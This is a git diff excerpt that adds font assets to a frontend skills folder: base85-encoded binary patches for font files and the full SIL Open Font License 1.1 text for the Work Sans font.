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 X|Ax)@->Dh@TQ}o>yJq}v9R&X$QMB>o literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/WorkSans-OFL.txt b/skills/frontend-dev/canvas-fonts/WorkSans-OFL.txt new file mode 100644 index 0000000..070f341 --- /dev/null +++ b/skills/frontend-dev/canvas-fonts/WorkSans-OFL.txt @@ -0,0 +1,93 @@ +Copyright 2019 The Work Sans Project Authors (https://github.com/weiweihuanghuang/Work-Sans) + +This Font Software is licensed under the SIL Open Font License, Version 1.1. +This license is copied below, and is also available with a FAQ at: +https://openfontlicense.org + + +----------------------------------------------------------- +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 +----------------------------------------------------------- + +PREAMBLE +The goals of the Open Font License (OFL) are to stimulate worldwide +development of collaborative font projects, to support the font creation +efforts of academic and linguistic communities, and to provide a free and +open framework in which fonts may be shared and improved in partnership +with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. The +fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply +to any document created using the fonts or their derivatives. + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. This may +include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components as +distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting -- in part or in whole -- any of the components of the +Original Version, by changing formats or by porting the Font Software to a +new environment. + +"Author" refers to any designer, engineer, programmer, technical +writer or other person who contributed to the Font Software. + +PERMISSION & CONDITIONS +Permission is hereby granted, free of charge, to any person obtaining +a copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components, +in Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, +redistributed and/or sold with any software, provided that each copy +contains the above copyright notice and this license. These can be +included either as stand-alone text files, human-readable headers or +in the appropriate machine-readable metadata fields within text or +binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font +Name(s) unless explicit written permission is granted by the corresponding +Copyright Holder. This restriction only applies to the primary font name as +presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font +Software shall not be used to promote, endorse or advertise any +Modified Version, except to acknowledge the contribution(s) of the +Copyright Holder(s) and the Author(s) or with their explicit written +permission. + +5) The Font Software, modified or unmodified, in part or in whole, +must be distributed entirely under this license, and must not be +distributed under any other license. The requirement for fonts to +remain under this license does not apply to any document created +using the Font Software. + +TERMINATION +This license becomes null and void if any of the above conditions are +not met. + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM +OTHER DEALINGS IN THE FONT SOFTWARE. diff --git a/skills/frontend-dev/canvas-fonts/WorkSans-Regular.ttf b/skills/frontend-dev/canvas-fonts/WorkSans-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..d24586cc0336949d49a1c2bf3fb3b306c47b431e GIT binary patch literal 188916 zcmdqK2Yi&p)(1Rochh@;0AZ65l2F2Kl1-tfYyt!l2oPE*=?SEf0tD$GVnbBy4HO&L zXcoZU1r-a54HdkKC>BH%Me_Y;o@Yw{%YEN_zwiBh+25J|%$%7yGjrz5nF*nUkN_Bh zkh~mw?)aW#ZG^Dl2z@SZY~lDhKDlEEz3p2<bBuZ8CuTi&^7U{+tREASaIA3rfTY3i zHU2>e{S4`6jh~P?;j1<K5KnJ}e?)nGX_H6gZDv9|-vxwJm$oz^JOJ?_usy2l+N&n- zw9O^ts-uMZiJHpNiXJy53_|=Y#HZFEz_j0Z3;cuO?^RRZx?uB^pqmNl0e{Htb&chv zb4+n>5fXHi5U-;8(gjV1LF6~2?~e55hSK`Vk2d?362ehC;~PzlEv*6XT^mfuv{wj8 z>Cx0&*;He^;$o!tL3-2UwBzDO#Fg+8+R;J$VG~0<xtf?rH9)qM>rcp3$ob9=U!)q? z5&uU&13xDXF~q45#)BFLJalNL|KOhq=fIVaPr7$|UfCHht?7tA`>=tF(eN7ylcD&N zxqB#Ih%$Q-Hov;2RU%Q_T3Sbg5g&qHlVvj1p7I+Y1YlIqb+GopEm$$!2KX*xli|<T 